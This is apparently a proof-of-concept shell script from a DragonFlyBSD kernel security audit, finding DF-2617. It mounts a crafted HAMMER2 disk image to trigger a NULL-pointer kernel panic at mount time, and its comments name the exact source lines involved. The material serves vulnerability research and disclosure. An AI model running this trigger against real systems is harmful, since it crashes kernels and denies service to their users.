DragonFlyBSD Kernel Audit
DF-2617 / trigger_P1.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2617 variant P1: sroot INODE bref data_off=0 -> mount-time NULL deref.
# Expect Fatal trap 12 in hammer2_mount (vfsops.c:1309/1311 ripdata deref,
# downstream of hammer2_chain_load_data chain.c:938-939 silent NULL).
LOG=/root/poc/df2617/run_P1.log
exec > $LOG 2>&1
set -x
uname -a
vnconfig -u vn0 2>/dev/null || true
vnconfig -c vn0 /root/poc/df2617/P1.img
mkdir -p /mnt/h2
mount -t hammer2 -o ro /dev/vn0@testvol /mnt/h2
echo MOUNT_RC=$?
ls /mnt/h2
echo P1_DONE